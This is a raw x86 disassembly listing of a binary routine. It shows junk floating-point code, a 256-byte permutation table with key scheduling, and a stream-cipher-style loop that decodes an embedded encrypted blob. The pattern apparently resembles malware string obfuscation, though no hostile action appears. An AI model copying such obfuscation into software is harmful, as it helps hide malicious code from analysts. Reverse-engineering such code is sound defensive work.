movzx eax, byte [ebp + edx - 0x6bac]
movzx edx, byte [ebp - 0x3328]
movzx edx, byte [ebp + edx - 0x6bac]
add eax, edx
movzx edx, byte [ebp - 0x3381]
movzx edx, byte [ebp + edx - 0x6bac]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6bac]
movzx edx, byte [ebp + eax - 0x6bac]
xor ecx, edx
mov byte [ebp - 0x330b], cl
mov al, byte [ebp - 0x3382]
mov byte [ebp - 0x3328], al
movss xmm0, dword [0xa67380]
movss dword [ebp - 0x35f8], xmm0
movss xmm0, dword [0xa672b0]
movss dword [ebp - 0x361c], xmm0
movss xmm0, dword [0xa671d0]
movss dword [ebp - 0x3abc], xmm0
movss xmm0, dword [0xa67100]
movss dword [ebp - 0x38b8], xmm0
movss xmm0, dword [0xa67014]
movss dword [ebp - 0x39a4], xmm0
movss xmm0, dword [ebp - 0x3abc]
subss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x3abc], xmm0
movss xmm0, dword [ebp - 0x361c]
mulss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x361c], xmm0
movss xmm0, dword [ebp - 0x38b8]
mulss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x38b8], xmm0
movss xmm0, dword [ebp - 0x38b8]
mulss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x38b8], xmm0
movss xmm0, dword [ebp - 0x35f8]
mulss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x35f8], xmm0
movss xmm0, dword [ebp - 0x38b8]
comiss xmm0, dword [ebp - 0x39a4]
jbe 0x43a6c5
movss xmm0, dword [ebp - 0x38b8]
addss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x38b8], xmm0
movss xmm0, dword [ebp - 0x361c]
addss xmm0, dword [ebp - 0x3abc]
movss dword [ebp - 0x361c], xmm0
movss xmm0, dword [ebp - 0x3abc]
mulss xmm0, dword [ebp - 0x38b8]
movss dword [ebp - 0x3abc], xmm0
movss xmm0, dword [ebp - 0x35f8]
addss xmm0, dword [ebp - 0x361c]
movss dword [ebp - 0x35f8], xmm0
movss xmm0, dword [ebp - 0x35f8]
addss xmm0, dword [ebp - 0x361c]
movss dword [ebp - 0x35f8], xmm0
mov cl, byte [ebp - 0x330b]
mov byte [ebp - 0x3429], cl
jmp 0x43a8b8
movss xmm0, dword [ebp - 0x39a4]
divss xmm0, dword [ebp - 0x361c]
movss dword [ebp - 0x39a4], xmm0
movss xmm0, dword [ebp - 0x361c]
subss xmm0, dword [ebp - 0x38b8]
movss dword [ebp - 0x361c], xmm0
movss xmm0, dword [ebp - 0x38b8]
divss xmm0, dword [ebp - 0x35f8]
movss dword [ebp - 0x38b8], xmm0
movss xmm0, dword [ebp - 0x39a4]
addss xmm0, dword [ebp - 0x361c]
movss dword [ebp - 0x39a4], xmm0
movss xmm0, dword [ebp - 0x361c]
divss xmm0, dword [ebp - 0x38b8]
movss dword [ebp - 0x361c], xmm0
movss xmm0, dword [ebp - 0x3abc]
subss xmm0, dword [ebp - 0x38b8]
movss dword [ebp - 0x3abc], xmm0
movss xmm0, dword [ebp - 0x35f8]
addss xmm0, dword [ebp - 0x361c]
movss dword [ebp - 0x35f8], xmm0
movss xmm0, dword [ebp - 0x361c]
divss xmm0, dword [ebp - 0x3abc]
movss dword [ebp - 0x361c], xmm0
movss xmm0, dword [ebp - 0x39a4]
addss xmm0, dword [ebp - 0x35f8]
movss dword [ebp - 0x39a4], xmm0
movss xmm0, dword [ebp - 0x361c]
divss xmm0, dword [ebp - 0x3abc]
movss dword [ebp - 0x361c], xmm0
movss xmm0, dword [ebp - 0x361c]
comiss xmm0, dword [ebp - 0x39a4]
jbe 0x43a840
movss xmm0, dword [ebp - 0x35f8]
divss xmm0, dword [ebp - 0x3abc]
movss dword [ebp - 0x35f8], xmm0
movss xmm0, dword [ebp - 0x35f8]
divss xmm0, dword [ebp - 0x3abc]
movss dword [ebp - 0x35f8], xmm0
movss xmm0, dword [ebp - 0x35f8]
mulss xmm0, dword [ebp - 0x3abc]
movss dword [ebp - 0x35f8], xmm0
movss xmm0, dword [ebp - 0x38b8]
divss xmm0, dword [ebp - 0x35f8]
movss dword [ebp - 0x38b8], xmm0
movss xmm0, dword [ebp - 0x35f8]
divss xmm0, dword [ebp - 0x3abc]
movss dword [ebp - 0x35f8], xmm0
jmp 0x43a8b8
movss xmm0, dword [ebp - 0x3abc]
divss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x3abc], xmm0
movss xmm0, dword [ebp - 0x38b8]
subss xmm0, dword [ebp - 0x35f8]
movss dword [ebp - 0x38b8], xmm0
movss xmm0, dword [ebp - 0x39a4]
mulss xmm0, dword [ebp - 0x361c]
movss dword [ebp - 0x39a4], xmm0
movss xmm0, dword [ebp - 0x361c]
addss xmm0, dword [ebp - 0x38b8]
movss dword [ebp - 0x361c], xmm0
movss xmm0, dword [ebp - 0x35f8]
subss xmm0, dword [ebp - 0x3abc]
movss dword [ebp - 0x35f8], xmm0
cmp dword [ebp - 0x3584], 0
jle 0x43a8d7
movsx dx, byte [ebp - 0x3429]
mov eax, dword [ebp - 0x3584]
mov word [ebp + eax*2 - 0x4a6], dx
jmp 0x43a31f
movss xmm0, dword [0xa673e0]
movss dword [ebp - 0x38bc], xmm0
movss xmm0, dword [0xa67278]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [0xa670e0]
movss dword [ebp - 0x3aa8], xmm0
movss xmm0, dword [ebp - 0x3564]
subss xmm0, dword [ebp - 0x3aa8]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x38bc]
addss xmm0, dword [ebp - 0x3aa8]
movss dword [ebp - 0x38bc], xmm0
movss xmm0, dword [ebp - 0x3564]
addss xmm0, dword [ebp - 0x3aa8]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x3aa8]
comiss xmm0, dword [ebp - 0x38bc]
jbe 0x43aa9e
movss xmm0, dword [ebp - 0x3564]
mulss xmm0, dword [ebp - 0x3aa8]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x3aa8]
subss xmm0, dword [ebp - 0x38bc]
movss dword [ebp - 0x3aa8], xmm0
movss xmm0, dword [ebp - 0x3aa8]
divss xmm0, dword [ebp - 0x38bc]
movss dword [ebp - 0x3aa8], xmm0
movss xmm0, dword [ebp - 0x3564]
subss xmm0, dword [ebp - 0x38bc]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x3aa8]
addss xmm0, dword [ebp - 0x3564]
movss dword [ebp - 0x3aa8], xmm0
movss xmm0, dword [ebp - 0x3aa8]
addss xmm0, dword [ebp - 0x3564]
movss dword [ebp - 0x3aa8], xmm0
movss xmm0, dword [ebp - 0x38bc]
comiss xmm0, dword [ebp - 0x3aa8]
jbe 0x43aa54
movss xmm0, dword [ebp - 0x38bc]
mulss xmm0, dword [ebp - 0x3564]
movss dword [ebp - 0x38bc], xmm0
movss xmm0, dword [ebp - 0x38bc]
subss xmm0, dword [ebp - 0x3564]
movss dword [ebp - 0x38bc], xmm0
movss xmm0, dword [ebp - 0x3564]
mulss xmm0, dword [ebp - 0x3aa8]
movss dword [ebp - 0x3564], xmm0
jmp 0x43aa9c
movss xmm0, dword [ebp - 0x3564]
subss xmm0, dword [ebp - 0x38bc]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x3564]
addss xmm0, dword [ebp - 0x38bc]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x3564]
addss xmm0, dword [ebp - 0x38bc]
movss dword [ebp - 0x3564], xmm0
jmp 0x43aaf5
movss xmm0, dword [ebp - 0x38bc]
addss xmm0, dword [ebp - 0x3564]
movss dword [ebp - 0x38bc], xmm0
movss xmm0, dword [ebp - 0x3564]
subss xmm0, dword [ebp - 0x3aa8]
movss dword [ebp - 0x3564], xmm0
movss xmm0, dword [ebp - 0x38bc]
mulss xmm0, dword [ebp - 0x3564]
movss dword [ebp - 0x38bc], xmm0
mov ecx, dword [ebp - 0x3c3c]
add ecx, 1
mov dword [ebp - 0x3c3c], ecx
mov edx, 2
imul eax, edx, 0x28
mov dword [ebp - 0x53a8], eax
cmp dword [ebp - 0x53a8], 0x52
jae 0x43ab0e
jmp 0x43ab13
call fcn.009ea777
xor ecx, ecx
mov edx, dword [ebp - 0x53a8]
mov word [ebp + edx - 0x4a4], cx
jmp 0x43ab79
mov dword [ebp - 0x49ac], 0
jmp 0x43ab40
mov eax, dword [ebp - 0x49ac]
add eax, 1
mov dword [ebp - 0x49ac], eax
cmp dword [ebp - 0x49ac], 0x29
jge 0x43ab79
mov ecx, dword [ebp - 0x49ac]
shl ecx, 1
mov dword [ebp - 0x53a4], ecx
cmp dword [ebp - 0x53a4], 0x52
jae 0x43ab62
jmp 0x43ab67
call fcn.009ea777
xor edx, edx
mov eax, dword [ebp - 0x53a4]
mov word [ebp + eax - 0x4a4], dx
jmp 0x43ab31
push 0
push 1
mov ecx, dword [ebp - 0x4698]
push ecx
lea edx, [ebp - 0x264]
push edx
push 0
lea eax, [ebp - 0x4a4]
push eax
movzx ecx, byte [ebp + 0xc]
push ecx
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x31a4], 0
mov dword [ebp - 0x323c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47c4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4680], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4680], xmm0
jmp 0x43abf0
movsd xmm0, qword [ebp - 0x4680]
addsd xmm0, qword [0xa66350]
movsd qword [ebp - 0x4680], xmm0
movsd xmm0, qword [0xa66848]
comisd xmm0, xmmword [ebp - 0x4680]
jbe 0x43aca1
movsd xmm0, qword [0xa66658]
mulsd xmm0, qword [ebp - 0x4680]
mulsd xmm0, qword [ebp - 0x4680]
movsd xmm1, qword [ebp - 0x4680]
mulsd xmm1, qword [ebp - 0x4680]
subsd xmm0, xmm1
movsd xmm1, qword [0xa663b0]
mulsd xmm1, qword [ebp - 0x4680]
mulsd xmm1, qword [ebp - 0x4680]
addsd xmm1, qword [0xa664c8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47c4]
movsd qword [ebp - 0x47c4], xmm0
movsd xmm0, qword [ebp - 0x47c4]
comisd xmm0, xmmword [0xa66520]
jbe 0x43ac9c
movsd xmm0, qword [0xa66308]
mulsd xmm0, qword [ebp - 0x4680]
movsd xmm1, qword [ebp - 0x47c4]
subsd xmm1, xmm0
movsd qword [ebp - 0x47c4], xmm1
jmp 0x43abd8
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47c4]
jbe 0x43ad15
jbe 0x43acee
jge 0x43acea
jp 0x43acfa
jp 0x43acfc
push 0x4b2e2523
cmp byte [ebx + esi], ah
aas
sub al, byte [edx + 0x55]
insb byte es:[edi], dx
cmp byte [edx - 0x6a], dh
test al, 0x8e
test eax, 0xa28fa390
nop
mov dword [0xa698a395], eax
xchg edi, eax
stosb byte es:[edi], al
invalid
mov gs, word [esi + edx*4 - 0x675c6e5a]
lodsd eax, dword [esi]
lcall 0x8fa8, 0x96a09c9f
movsd dword es:[edi], dword [esi]
xchg ecx, eax
mov dword [0x9f9aad98], eax
pushfd
mov al, byte [0xa58fa896]
popfd
cmpsb byte [esi], byte es:[edi]
invalid
mov dword [ebp - 0x31a4], 0x43acc6
mov dword [ebp - 0x323c], 0x43acae
mov edx, dword [ebp - 0x31a4]
mov dword [ebp - 0x3600], edx
mov eax, dword [ebp - 0x323c]
mov dword [ebp - 0x6334], eax
mov byte [ebp - 0x4025], 0x1c
mov dword [ebp - 0x38c4], 0
jmp 0x43ad63
mov ecx, dword [ebp - 0x38c4]
add ecx, 1
mov dword [ebp - 0x38c4], ecx
cmp dword [ebp - 0x38c4], 0x100
jae 0x43ad84
mov edx, dword [ebp - 0x38c4]
mov al, byte [ebp - 0x38c4]
mov byte [ebp + edx - 0x4e7c], al
jmp 0x43ad54
mov dword [ebp - 0x4504], 0
mov byte [ebp - 0x3352], 0
mov dword [ebp - 0x38c4], 0xff
jmp 0x43adb0
mov ecx, dword [ebp - 0x38c4]
sub ecx, 1
mov dword [ebp - 0x38c4], ecx
cmp dword [ebp - 0x38c4], 0
jbe 0x43b020
mov dword [ebp - 0x4c18], 0
mov dword [ebp - 0x49b0], 1
mov edx, dword [ebp - 0x49b0]
cmp edx, dword [ebp - 0x38c4]
jae 0x43adf1
mov eax, dword [ebp - 0x49b0]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x49b0], ecx
jmp 0x43add1
mov edx, dword [ebp - 0x4504]
mov dword [ebp - 0x53a0], edx
cmp dword [ebp - 0x53a0], 3
ja case.default.0x43ae10
mov eax, dword [ebp - 0x53a0]
jmp dword [eax*4 + 0x46ce14]
movzx ecx, byte [ebp - 0x3352]
movzx ebx, byte [ebp + ecx - 0x4e7c]
movsd xmm0, qword [ebp - 0x47c4]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3352], bl
jmp 0x43aef9
movzx edx, byte [ebp - 0x3352]
movzx ebx, byte [ebp + edx - 0x4e7c]
movsd xmm0, qword [ebp - 0x47c4]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3352], bl
jmp 0x43aef9
movzx eax, byte [ebp - 0x3352]
movzx ebx, byte [ebp + eax - 0x4e7c]
movsd xmm0, qword [ebp - 0x47c4]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3352], bl
jmp 0x43aef9
movzx ecx, byte [ebp - 0x3352]
movzx ebx, byte [ebp + ecx - 0x4e7c]
movsd xmm0, qword [ebp - 0x47c4]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3352], bl
jmp 0x43aef9
movzx edx, byte [ebp - 0x3352]
movzx eax, byte [ebp + edx - 0x4e7c]
mov ecx, dword [ebp - 0x6334]
add ecx, dword [ebp - 0x4504]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x3352], al
mov eax, dword [ebp - 0x4504]
add eax, 1
mov dword [ebp - 0x4504], eax
movzx ecx, byte [ebp - 0x4025]
cmp dword [ebp - 0x4504], ecx
jb 0x43af37
mov dword [ebp - 0x4504], 0
movzx edx, byte [ebp - 0x4025]
movzx eax, byte [ebp - 0x3352]
add eax, edx
mov byte [ebp - 0x3352], al
movzx ecx, byte [ebp - 0x3352]
and ecx, dword [ebp - 0x49b0]
mov dword [ebp - 0x429c], ecx
mov edx, dword [ebp - 0x4c18]
add edx, 1
mov dword [ebp - 0x4c18], edx
cmp dword [ebp - 0x4c18], 0xb
jbe 0x43af76
mov eax, dword [ebp - 0x429c]
xor edx, edx
div dword [ebp - 0x38c4]
mov dword [ebp - 0x429c], edx
mov eax, dword [ebp - 0x429c]
cmp eax, dword [ebp - 0x38c4]
ja 0x43adf1
mov ecx, dword [ebp - 0x38c4]
cmp ecx, dword [ebp - 0x429c]
je 0x43b01b
mov edx, dword [ebp - 0x429c]
movzx eax, byte [ebp + edx - 0x4e7c]
mov ecx, dword [ebp - 0x38c4]
movzx edx, byte [ebp + ecx - 0x4e7c]
xor edx, eax
mov eax, dword [ebp - 0x38c4]
mov byte [ebp + eax - 0x4e7c], dl
mov ecx, dword [ebp - 0x38c4]
movzx edx, byte [ebp + ecx - 0x4e7c]
mov eax, dword [ebp - 0x429c]
movzx ecx, byte [ebp + eax - 0x4e7c]
xor ecx, edx
mov edx, dword [ebp - 0x429c]
mov byte [ebp + edx - 0x4e7c], cl
mov eax, dword [ebp - 0x429c]
movzx ecx, byte [ebp + eax - 0x4e7c]
mov edx, dword [ebp - 0x38c4]
movzx eax, byte [ebp + edx - 0x4e7c]
xor eax, ecx
mov ecx, dword [ebp - 0x38c4]
mov byte [ebp + ecx - 0x4e7c], al
jmp 0x43ada1
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x4e7c]
mov byte [ebp - 0x3262], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x4e7c]
mov byte [ebp - 0x326b], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x4e7c]
mov byte [ebp - 0x32b0], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x4e7c]
mov byte [ebp - 0x326a], al
movzx ecx, byte [ebp - 0x3352]
mov dl, byte [ebp + ecx - 0x4e7c]
mov byte [ebp - 0x3284], dl
mov dword [ebp - 0x539c], 0x4a
cmp dword [ebp - 0x539c], 2
jle 0x43dd1f
mov eax, dword [ebp - 0x539c]
and eax, 1
jne 0x43dd1f
mov dword [ebp - 0x332c], 0
mov dword [ebp - 0x34a4], 0
mov ecx, dword [ebp - 0x34a4]
add ecx, 1
mov dword [ebp - 0x34a4], ecx
mov dword [ebp - 0x35fc], 0
mov edx, dword [ebp - 0x332c]
shl edx, 1
mov dword [ebp - 0x35fc], edx
mov dword [ebp - 0x358c], 0
mov eax, dword [ebp - 0x3600]
add eax, dword [ebp - 0x35fc]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x358c]
mov dword [ebp - 0x358c], ecx
mov dword [ebp - 0x3588], 0
mov edx, dword [ebp - 0x3588]
add edx, 0x8e
mov dword [ebp - 0x3588], edx
mov dword [ebp - 0x3604], 0
mov eax, dword [ebp - 0x332c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3604], ecx
mov dword [ebp - 0x35c0], 0
mov edx, dword [ebp - 0x3600]
add edx, dword [ebp - 0x3604]
movzx eax, byte [edx]
add eax, dword [ebp - 0x35c0]
mov dword [ebp - 0x35c0], eax
mov dword [ebp - 0x35b8], 0
mov ecx, dword [ebp - 0x35b8]
add ecx, 0x9f
mov dword [ebp - 0x35b8], ecx
mov dword [ebp - 0x3598], 0
mov edx, dword [ebp - 0x358c]
sub edx, dword [ebp - 0x3588]
add edx, dword [ebp - 0x3598]
mov dword [ebp - 0x3598], edx
mov dword [ebp - 0x35a0], 0
mov eax, dword [ebp - 0x35c0]
sub eax, dword [ebp - 0x35b8]
add eax, dword [ebp - 0x35a0]
mov dword [ebp - 0x35a0], eax
mov dword [ebp - 0x3608], 0
mov ecx, dword [ebp - 0x3598]
shl ecx, 4
mov dword [ebp - 0x3608], ecx
mov dword [ebp - 0x360c], 0
mov edx, dword [ebp - 0x35a0]
mov dword [ebp - 0x360c], edx
mov dword [ebp - 0x3610], 0
mov eax, dword [ebp - 0x3608]
or eax, dword [ebp - 0x360c]
mov dword [ebp - 0x3610], eax
mov byte [ebp - 0x32ae], 0
mov cl, byte [ebp - 0x3610]
mov byte [ebp - 0x32ae], cl
mov byte [ebp - 0x32af], 0
movzx edx, byte [ebp - 0x3284]
mov al, byte [ebp + edx - 0x4e7c]
mov byte [ebp - 0x32af], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx eax, byte [ebp - 0x326b]
add eax, edx
mov byte [ebp - 0x326b], al
mov cl, byte [ebp - 0x3262]
add cl, 1
mov byte [ebp - 0x3262], cl
movzx edx, byte [ebp - 0x326b]
movzx eax, byte [ebp - 0x3284]
mov cl, byte [ebp + edx - 0x4e7c]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp - 0x326b]
mov cl, byte [ebp + edx - 0x4e7c]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp - 0x326a]
mov cl, byte [ebp + edx - 0x4e7c]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x3262]
mov al, byte [ebp - 0x32af]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x32af]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx eax, byte [ebp - 0x32b0]
add eax, edx
mov byte [ebp - 0x32b0], al
movzx ecx, byte [ebp - 0x32ae]
movzx edx, byte [ebp - 0x326b]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx edx, byte [ebp - 0x3262]
movzx edx, byte [ebp + edx - 0x4e7c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4e7c]
xor ecx, eax
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx edx, byte [ebp - 0x3284]
movzx edx, byte [ebp + edx - 0x4e7c]
add eax, edx
movzx edx, byte [ebp - 0x32b0]
movzx edx, byte [ebp + edx - 0x4e7c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4e7c]
movzx edx, byte [ebp + eax - 0x4e7c]
xor ecx, edx
mov byte [ebp - 0x326a], cl
mov al, byte [ebp - 0x32ae]
mov byte [ebp - 0x3284], al
mov cl, byte [ebp - 0x326a]
mov byte [ebp - 0x32ff], cl
cmp dword [ebp - 0x332c], 0
jle 0x43b3b0
movsx dx, byte [ebp - 0x32ff]
mov eax, dword [ebp - 0x332c]
mov word [ebp + eax*2 - 0x2b2], dx
mov ecx, dword [ebp - 0x332c]
add ecx, 1
mov dword [ebp - 0x332c], ecx
mov edx, dword [ebp - 0x34a4]
add edx, 1
mov dword [ebp - 0x34a4], edx
mov eax, dword [ebp - 0x332c]
shl eax, 1
mov dword [ebp - 0x35fc], eax
mov ecx, dword [ebp - 0x3600]
add ecx, dword [ebp - 0x35fc]
movzx edx, byte [ecx]
mov dword [ebp - 0x358c], edx
mov dword [ebp - 0x3588], 0x8e
mov eax, dword [ebp - 0x332c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3604], ecx
mov edx, dword [ebp - 0x3600]
add edx, dword [ebp - 0x3604]
movzx eax, byte [edx]
mov dword [ebp - 0x35c0], eax
mov dword [ebp - 0x35b8], 0x9f
mov ecx, dword [ebp - 0x358c]
sub ecx, dword [ebp - 0x3588]
mov dword [ebp - 0x3598], ecx
mov edx, dword [ebp - 0x35c0]
sub edx, dword [ebp - 0x35b8]
mov dword [ebp - 0x35a0], edx
mov eax, dword [ebp - 0x3598]
shl eax, 4
mov dword [ebp - 0x3608], eax
mov ecx, dword [ebp - 0x35a0]
mov dword [ebp - 0x360c], ecx
mov edx, dword [ebp - 0x3608]
or edx, dword [ebp - 0x360c]
mov dword [ebp - 0x3610], edx
mov al, byte [ebp - 0x3610]
mov byte [ebp - 0x32ae], al
movzx ecx, byte [ebp - 0x3284]
mov dl, byte [ebp + ecx - 0x4e7c]
mov byte [ebp - 0x32af], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx edx, byte [ebp - 0x326b]
add edx, ecx
mov byte [ebp - 0x326b], dl
mov al, byte [ebp - 0x3262]
add al, 1
mov byte [ebp - 0x3262], al
movzx ecx, byte [ebp - 0x326b]
movzx edx, byte [ebp - 0x3284]
mov al, byte [ebp + ecx - 0x4e7c]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x326a]
movzx edx, byte [ebp - 0x326b]
mov al, byte [ebp + ecx - 0x4e7c]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp - 0x326a]
mov al, byte [ebp + ecx - 0x4e7c]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x3262]
mov dl, byte [ebp - 0x32af]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x32af]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx edx, byte [ebp - 0x32b0]
add edx, ecx
mov byte [ebp - 0x32b0], dl
movzx eax, byte [ebp - 0x32ae]
movzx ecx, byte [ebp - 0x326b]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx ecx, byte [ebp - 0x3262]
movzx ecx, byte [ebp + ecx - 0x4e7c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4e7c]
xor eax, edx
movzx ecx, byte [ebp - 0x326a]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx ecx, byte [ebp - 0x3284]
movzx ecx, byte [ebp + ecx - 0x4e7c]
add edx, ecx
movzx ecx, byte [ebp - 0x32b0]
movzx ecx, byte [ebp + ecx - 0x4e7c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4e7c]
movzx ecx, byte [ebp + edx - 0x4e7c]
xor eax, ecx
mov byte [ebp - 0x326a], al
mov dl, byte [ebp - 0x32ae]
mov byte [ebp - 0x3284], dl
mov al, byte [ebp - 0x326a]
mov byte [ebp - 0x32ff], al
cmp dword [ebp - 0x332c], 0
jle 0x43b60a
movsx cx, byte [ebp - 0x32ff]
mov edx, dword [ebp - 0x332c]
mov word [ebp + edx*2 - 0x2b2], cx
mov eax, dword [ebp - 0x332c]
add eax, 1
mov dword [ebp - 0x332c], eax
mov ecx, dword [ebp - 0x34a4]
add ecx, 1
mov dword [ebp - 0x34a4], ecx
mov edx, dword [ebp - 0x332c]
shl edx, 1
mov dword [ebp - 0x35fc], edx
mov eax, dword [ebp - 0x3600]
add eax, dword [ebp - 0x35fc]
movzx ecx, byte [eax]
mov dword [ebp - 0x358c], ecx
mov dword [ebp - 0x3588], 0x8e
mov edx, dword [ebp - 0x332c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3604], eax
mov ecx, dword [ebp - 0x3600]
add ecx, dword [ebp - 0x3604]
movzx edx, byte [ecx]
mov dword [ebp - 0x35c0], edx
mov dword [ebp - 0x35b8], 0x9f
mov eax, dword [ebp - 0x358c]
sub eax, dword [ebp - 0x3588]
mov dword [ebp - 0x3598], eax
mov ecx, dword [ebp - 0x35c0]
sub ecx, dword [ebp - 0x35b8]
mov dword [ebp - 0x35a0], ecx
mov edx, dword [ebp - 0x3598]
shl edx, 4
mov dword [ebp - 0x3608], edx
mov eax, dword [ebp - 0x35a0]
mov dword [ebp - 0x360c], eax
mov ecx, dword [ebp - 0x3608]
or ecx, dword [ebp - 0x360c]
mov dword [ebp - 0x3610], ecx
mov dl, byte [ebp - 0x3610]
mov byte [ebp - 0x32ae], dl
movzx eax, byte [ebp - 0x3284]
mov cl, byte [ebp + eax - 0x4e7c]
mov byte [ebp - 0x32af], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx ecx, byte [ebp - 0x326b]
add ecx, eax
mov byte [ebp - 0x326b], cl
mov dl, byte [ebp - 0x3262]
add dl, 1
mov byte [ebp - 0x3262], dl
movzx eax, byte [ebp - 0x326b]
movzx ecx, byte [ebp - 0x3284]
mov dl, byte [ebp + eax - 0x4e7c]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp - 0x326b]
mov dl, byte [ebp + eax - 0x4e7c]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp - 0x326a]
mov dl, byte [ebp + eax - 0x4e7c]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x3262]
mov cl, byte [ebp - 0x32af]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x32af]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx ecx, byte [ebp - 0x32b0]
add ecx, eax
mov byte [ebp - 0x32b0], cl
movzx edx, byte [ebp - 0x32ae]
movzx eax, byte [ebp - 0x326b]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx eax, byte [ebp - 0x3262]
movzx eax, byte [ebp + eax - 0x4e7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4e7c]
xor edx, ecx
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx eax, byte [ebp - 0x3284]
movzx eax, byte [ebp + eax - 0x4e7c]
add ecx, eax
movzx eax, byte [ebp - 0x32b0]
movzx eax, byte [ebp + eax - 0x4e7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4e7c]
movzx eax, byte [ebp + ecx - 0x4e7c]
xor edx, eax
mov byte [ebp - 0x326a], dl
mov cl, byte [ebp - 0x32ae]
mov byte [ebp - 0x3284], cl
mov dl, byte [ebp - 0x326a]
mov byte [ebp - 0x32ff], dl
cmp dword [ebp - 0x332c], 0
jle 0x43b865
movsx ax, byte [ebp - 0x32ff]
mov ecx, dword [ebp - 0x332c]
mov word [ebp + ecx*2 - 0x2b2], ax
mov edx, dword [ebp - 0x34a4]
add edx, 0xe
mov dword [ebp - 0x34a4], edx
mov eax, dword [ebp - 0x332c]
add eax, 1
mov dword [ebp - 0x4c1c], eax
jmp 0x43b894
mov ecx, dword [ebp - 0x4c1c]
add ecx, 1
mov dword [ebp - 0x4c1c], ecx
mov edx, dword [ebp - 0x4c1c]
cmp edx, dword [ebp - 0x34a4]
jge 0x43baf5
mov eax, dword [ebp - 0x332c]
add eax, 1
mov dword [ebp - 0x332c], eax
mov ecx, dword [ebp - 0x332c]
shl ecx, 1
mov dword [ebp - 0x35fc], ecx
mov edx, dword [ebp - 0x3600]
add edx, dword [ebp - 0x35fc]
movzx eax, byte [edx]
mov dword [ebp - 0x358c], eax
mov dword [ebp - 0x3588], 0x8e
mov ecx, dword [ebp - 0x332c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3604], edx
mov eax, dword [ebp - 0x3600]
add eax, dword [ebp - 0x3604]
movzx ecx, byte [eax]
mov dword [ebp - 0x35c0], ecx
mov dword [ebp - 0x35b8], 0x9f
mov edx, dword [ebp - 0x358c]
sub edx, dword [ebp - 0x3588]
